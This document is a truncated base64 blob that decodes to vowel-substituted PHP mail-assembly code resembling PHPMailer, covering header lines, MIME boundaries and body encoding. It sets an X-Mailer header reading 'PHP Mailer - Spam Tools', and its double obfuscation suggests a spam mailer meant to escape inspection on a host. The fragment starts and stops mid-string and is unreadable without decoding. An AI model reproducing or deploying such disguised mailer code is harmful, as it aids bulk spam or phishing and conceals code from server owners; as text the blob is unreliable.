pIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ1I1cGx5LVQyJywgJHRoNHMtPlI1cGx5VDIpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gbTE0bCgpIHM1dHMgdGg1IHMzYmo1Y3QgNHRzNWxmDQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnUzNiajVjdCcsICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cigkdGg0cy0+UzNiajVjdCkpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIDRmICgkdGg0cy0+TTVzczFnNUlEICE9ICcnKSB7DQogICAgICAgICAgICAkdGg0cy0+bDFzdE01c3MxZzVJRCA9ICR0aDRzLT5NNXNzMWc1SUQ7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkdGg0cy0+bDFzdE01c3MxZzVJRCA9IHNwcjRudGYoJzwlc0Alcz4nLCAkdGg0cy0+M240cTM1NGQsICR0aDRzLT5zNXJ2NXJIMnN0bjFtNSgpKTsNCiAgICAgICAgfQ0KICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdNNXNzMWc1LUlEJywgJHRoNHMtPmwxc3RNNXNzMWc1SUQpOw0KICAgICAgICA0ZiAoITRzX24zbGwoJHRoNHMtPlByNDJyNHR5KSkgew0KICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnWC1QcjQycjR0eScsICR0aDRzLT5QcjQycjR0eSk7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCR0aDRzLT5YTTE0bDVyID09ICcnKSB7DQogICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KA0KICAgICAgICAgICAgICAgICdYLU0xNGw1cicsDQogICAgICAgICAgICAgICAgJ1BIUCBNMTRsNXIgLSBTcDFtIFQyMmxzIG8uMCcNCiAgICAgICAgICAgICk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkbXlYbTE0bDVyID0gdHI0bSgkdGg0cy0+WE0xNGw1cik7DQogICAgICAgICAgICA0ZiAoJG15WG0xNGw1cikgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ1gtTTE0bDVyJywgJG15WG0xNGw1cik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICA0ZiAoJHRoNHMtPkMybmY0cm1SNTFkNG5nVDIgIT0gJycpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0Q0c3AyczR0NDJuLU4ydDRmNGMxdDQybi1UMicsICc8JyAuICR0aDRzLT5DMm5mNHJtUjUxZDRuZ1QyIC4gJz4nKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFkZCBjM3N0Mm0gaDUxZDVycw0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+QzNzdDJtSDUxZDVyIDFzICRoNTFkNXIpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoDQogICAgICAgICAgICAgICAgdHI0bSgkaDUxZDVyWzBdKSwNCiAgICAgICAgICAgICAgICAkdGg0cy0+NW5jMmQ1SDUxZDVyKHRyNG0oJGg1MWQ1cls2XSkpDQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgICAgIDRmICghJHRoNHMtPnM0Z25fazV5X2Y0bDUpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ01JTUUtVjVyczQybicsICc2LjAnKTsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmc1dE0xNGxNSU1FKCk7DQogICAgICAgIH0NCg0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNXQgdGg1IG01c3MxZzUgTUlNRSB0eXA1IGg1MWQ1cnMuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRNMTRsTUlNRSgpDQogICAgew0KICAgICAgICAkcjVzM2x0ID0gJyc7DQogICAgICAgICQ0c20zbHQ0cDFydCA9IHRyMzU7DQogICAgICAgIHN3NHRjaCAoJHRoNHMtPm01c3MxZzVfdHlwNSkgew0KICAgICAgICAgICAgYzFzNSAnNG5sNG41JzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0L3I1bDF0NWQ7Jyk7DQogICAgICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5WzZdIC4gJyInKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzF0dDFjaCc6DQogICAgICAgICAgICBjMXM1ICc0bmw0bjVfMXR0MWNoJzoNCiAgICAgICAgICAgIGMxczUgJzFsdF8xdHQxY2gnOg0KICAgICAgICAgICAgYzFzNSAnMWx0XzRubDRuNV8xdHQxY2gnOg0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvbTR4NWQ7Jyk7DQogICAgICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5WzZdIC4gJyInKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzFsdCc6DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41JzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1OycpOw0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPnQ1eHRMNG41KCJcdGIyM25kMXJ5PVwiIiAuICR0aDRzLT5iMjNuZDFyeVs2XSAuICciJyk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIC8vIEMxdGNoNXMgYzFzNSAncGwxNG4nOiAxbmQgYzFzNSAnJzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT50NXh0TDRuNSgnQzJudDVudC1UeXA1OiAnIC4gJHRoNHMtPkMybnQ1bnRUeXA1IC4gJzsgY2gxcnM1dD0nIC4gJHRoNHMtPkNoMXJTNXQpOw0KICAgICAgICAgICAgICAgICQ0c20zbHQ0cDFydCA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgICAgIC8vIFJGQzZvdTYgcDFydCBpIHMxeXMgN2I0dCA0cyAxc3MzbTVkIDRmIG4ydCBzcDVjNGY0NWQNCiAgICAgICAgNGYgKCR0aDRzLT5FbmMyZDRuZyAhPSAnN2I0dCcpIHsNCiAgICAgICAgICAgIC8vIFJGQyBhMHVpIHM1Y3Q0Mm4gZS51IHMxeXMgbTNsdDRwMXJ0IE1JTUUgcDFydHMgbTF5IDJubHkgM3M1IDdiNHQsIDhiNHQgMnIgYjRuMXJ5IENURQ0KICAgICAgICAgICAgNGYgKCQ0c20zbHQ0cDFydCkgew0KICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+RW5jMmQ0bmcgPT0gJzhiNHQnKSB7DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHIxbnNmNXItRW5jMmQ0bmcnLCAnOGI0dCcpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvLyBUaDUgMm5seSByNW0xNG40bmcgMWx0NXJuMXQ0djVzIDFyNSBxMzJ0NWQtcHI0bnQxYmw1IDFuZCBiMXM1ZXUsIHdoNGNoIDFyNSBiMnRoIDdiNHQgYzJtcDF0NGJsNQ0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nJywgJHRoNHMtPkVuYzJkNG5nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+TEU7DQogICAgICAgIH0NCg0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXQzcm5zIHRoNSB3aDJsNSBNSU1FIG01c3MxZzUuDQogICAgICogSW5jbDNkNXMgYzJtcGw1dDUgaDUxZDVycyAxbmQgYjJkeS4NCiAgICAgKiBPbmx5IHYxbDRkIHAyc3QgcHI1UzVuZCgpLg0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjpwcjVTNW5kKCkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dFM1bnRNSU1FTTVzczFnNSgpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPk1JTUVINTFkNXIgLiAkdGg0cy0+bTE0bEg1MWQ1ciAuIHM1bGY6OkNSTEYgLiAkdGg0cy0+TUlNRUIyZHk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQXNzNW1ibDUgdGg1IG01c3MxZzUgYjJkeS4NCiAgICAgKiBSNXQzcm5zIDFuIDVtcHR5IHN0cjRuZyAybiBmMTRsM3I1Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIHN0cjRuZyBUaDUgMXNzNW1ibDVkIG01c3MxZzUgYjJkeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjcjUxdDVCMmR5KCkNCiAgICB7DQogICAgICAgICRiMmR5ID0gJyc7DQogICAgICAgIC8vQ3I1MXQ1IDNuNHEzNSBJRHMgMW5kIHByNXM1dCBiMjNuZDFyNDVzDQogICAgICAgICR0aDRzLT4zbjRxMzU0ZCA9IG1kaSgzbjRxNGQodDRtNSgpKSk7DQogICAgICAgICR0aDRzLT5iMjNuZDFyeVs2XSA9ICdiNl8nIC4gJHRoNHMtPjNuNHEzNTRkOw0KICAgICAgICAkdGg0cy0+YjIzbmQxcnlbYV0gPSAnYmFfJyAuICR0aDRzLT4zbjRxMzU0ZDsNCiAgICAgICAgJHRoNHMtPmIyM25kMXJ5W29dID0gJ2JvXycgLiAkdGg0cy0+M240cTM1NGQ7DQoNCiAgICAgICAgNGYgKCR0aDRzLT5zNGduX2s1eV9mNGw1KSB7DQogICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0TTE0bE1JTUUoKSAuICR0aDRzLT5MRTsNCiAgICAgICAgfQ0KDQogICAgICAgICR0aDRzLT5zNXRXMnJkV3IxcCgpOw0KDQogICAgICAgICRiMmR5RW5jMmQ0bmcgPSAkdGg0cy0+RW5jMmQ0bmc7DQogICAgICAgICRiMmR5Q2gxclM1dCA9ICR0aDRzLT5DaDFyUzV0Ow0KICAgICAgICAvL0MxbiB3NSBkMiAxIDctYjR0IGQyd25ncjFkNT8NCiAgICAgICAgNGYgKCRiMmR5RW5jMmQ0bmcgPT0gJzhiNHQnIDFuZCAhJHRoNHMtPmgxczhiNHRDaDFycygkdGg0cy0+QjJkeSkpIHsNCiAgICAgICAgICAgICRiMmR5RW5jMmQ0bmcgPSAnN2I0dCc7DQogICAgICAgICAgICAkYjJkeUNoMXJTNXQgPSAnM3MtMXNjNDQnOw0KICAgICAgICB9DQogICAgICAgIC8vSWYgbDRuNXMgMXI1IHQyMiBsMm5nLCAxbmQgdzUncjUgbjJ0IDFscjUxZHkgM3M0bmcgMW4gNW5jMmQ0bmcgdGgxdCB3NGxsIHNoMnJ0NW4gdGg1bSwNCiAgICAgICAgLy9jaDFuZzUgdDIgcTMydDVkLXByNG50MWJsNSB0cjFuc2Y1ciA1bmMyZDRuZw0KICAgICAgICA0ZiAoJ2IxczVldScgIT0gJHRoNHMtPkVuYzJkNG5nIDFuZCBzNWxmOjpoMXNMNG41TDJuZzVyVGgxbk0xeCgkdGg0cy0+QjJkeSkpIHsNCiAgICAgICAgICAgICR0aDRzLT5FbmMyZDRuZyA9ICdxMzJ0NWQtcHI0bnQxYmw1JzsNCiAgICAgICAgICAgICRiMmR5RW5jMmQ0bmcgPSAncTMydDVkLXByNG50MWJsNSc7DQogICAgICAgIH0NCg0KICAgICAgICAkMWx0QjJkeUVuYzJkNG5nID0gJHRoNHMtPkVuYzJkNG5nOw0KICAgICAgICAkMWx0QjJkeUNoMXJTNXQgPSAkdGg0cy0+Q2gxclM1dDsNCiAgICAgICAgLy9DMW4gdzUgZDIgMSA3LWI0dCBkMnduZ3IxZDU/DQogICAgICAgIDRmICgkMWx0QjJkeUVuYzJkNG5nID09ICc4YjR0JyAxbmQgISR0aDRzLT5oMXM4YjR0Q2gxcnMoJHRoNHMtPkFsdEIyZHkpKSB7DQogICAgICAgICAgICAkMWx0QjJkeUVuYzJkNG5nID0gJzdiNHQnOw0KICAgICAgICAgICAgJDFsdEIyZHlDaDFyUzV0ID0gJzNzLTFzYzQ0JzsNCiAgICAgICAgfQ0KICAgICAgICAvL0lmIGw0bjVzIDFyNSB0MjIgbDJuZywgMW5kIHc1J3I1IG4ydCAxbHI1MWR5IDNzNG5nIDFuIDVuYzJkNG5nIHRoMXQgdzRsbCBzaDJydDVuIHRoNW0sDQogICAgICAgIC8vY2gxbmc1IHQyIHEzMnQ1ZC1wcjRudDFibDUgdHIxbnNmNXIgNW5jMmQ0bmcNCiAgICAgICAgNGYgKCdiMXM1ZXUnICE9ICQxbHRCMmR5RW5jMmQ0bmcgMW5kIHM1bGY6Omgxc0w0bjVMMm5nNXJUaDFuTTF4KCR0aDRzLT5BbHRCMmR5KSkgew0KICAgICAgICAgICAgJDFsdEIyZHlFbmMyZDRuZyA9ICdxMzJ0NWQtcHI0bnQxYmw1JzsNCiAgICAgICAgfQ0KICAgICAgICAvL1VzNSB0aDRzIDFzIDEgcHI1MW1ibDUgNG4gMWxsIG0zbHQ0cDFydCBtNXNzMWc1IHR5cDVzDQogICAgICAgICRtNG01cHI1ID0gIlRoNHMgNHMgMSBtM2x0NC1wMXJ0IG01c3MxZzUgNG4gTUlNRSBmMnJtMXQuIiAuICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgc3c0dGNoICgkdGg0cy0+bTVzczFnNV90eXA1KSB7DQogICAgICAgICAgICBjMXM1ICc0bmw0bjUnOg0KICAgICAgICAgICAgICAgICRiMmR5IC49ICRtNG01cHI1Ow0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0sICRiMmR5Q2gxclM1dCwgJycsICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkIyZHksICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+MXR0MWNoQWxsKCc0bmw0bjUnLCAkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnMXR0MWNoJzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5WzZdLCAkYjJkeUNoMXJTNXQsICcnLCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5CMmR5LCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnMXR0MWNobTVudCcsICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICc0bmw0bjVfMXR0MWNoJzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoJy0tJyAuICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvcjVsMXQ1ZDsnKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5W2FdIC4gJyInKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVthXSwgJGIyZHlDaDFyUzV0LCAnJywgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT4xdHQxY2hBbGwoJzRubDRuNScsICR0aDRzLT5iMjNuZDFyeVthXSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT4xdHQxY2hBbGwoJzF0dDFjaG01bnQnLCAkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnMWx0JzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5WzZdLCAkMWx0QjJkeUNoMXJTNXQsICd0NXh0L3BsMTRuJywgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QWx0QjJkeSwgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0sICRiMmR5Q2gxclM1dCwgJ3Q1eHQvaHRtbCcsICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkIyZHksICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCR0aDRzLT5JYzFsKSkgew0KICAgICAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5WzZdLCAnJywgJ3Q1eHQvYzFsNW5kMXI7IG01dGgyZD1SRVFVRVNUJywgJycpOw0KICAgICAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5JYzFsLCAkdGg0cy0+RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnMWx0XzRubDRuNSc6DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJG00bTVwcjU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVs2XSwgJDFsdEIyZHlDaDFyUzV0LCAndDV4dC9wbDE0bicsICQxbHRCMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkFsdEIyZHksICQxbHRCMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoJy0tJyAuICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvcjVsMXQ1ZDsnKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5W2FdIC4gJyInKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVthXSwgJGIyZHlDaDFyUzV0LCAndDV4dC9odG1sJywgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT4xdHQxY2hBbGwoJzRubDRuNScsICR0aDRzLT5iMjNuZDFyeVthXSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnMWx0XzF0dDFjaCc6DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJG00bTVwcjU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCctLScgLiAkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1OycpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgiXHRiMjNuZDFyeT1cIiIgLiAkdGg0cy0+YjIzbmQxcnlbYV0gLiAnIicpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdLCAkMWx0QjJkeUNoMXJTNXQsICd0NXh0L3BsMTRuJywgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QWx0QjJkeSwgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbYV0sICRiMmR5Q2gxclM1dCwgJ3Q1eHQvaHRtbCcsICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkIyZHksICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5kQjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnMXR0MWNobTVudCcsICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41XzF0dDFjaCc6DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJG00bTVwcjU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCctLScgLiAkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1OycpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgiXHRiMjNuZDFyeT1cIiIgLiAkdGg0cy0+YjIzbmQxcnlbYV0gLiAnIicpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdLCAkMWx0QjJkeUNoMXJTNXQsICd0NXh0L3BsMTRuJywgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QWx0QjJkeSwgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgnLS0nIC4gJHRoNHMtPmIyM25kMXJ5W2FdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnQzJudDVudC1UeXA1JywgJ20zbHQ0cDFydC9yNWwxdDVkOycpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgiXHRiMjNuZDFyeT1cIiIgLiAkdGg0cy0+YjIzbmQxcnlbb10gLiAnIicpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W29dLCAkYjJkeUNoMXJTNXQsICd0NXh0L2h0bWwnLCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5CMmR5LCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnNG5sNG41JywgJHRoNHMtPmIyM25kMXJ5W29dKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuZEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVthXSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT4xd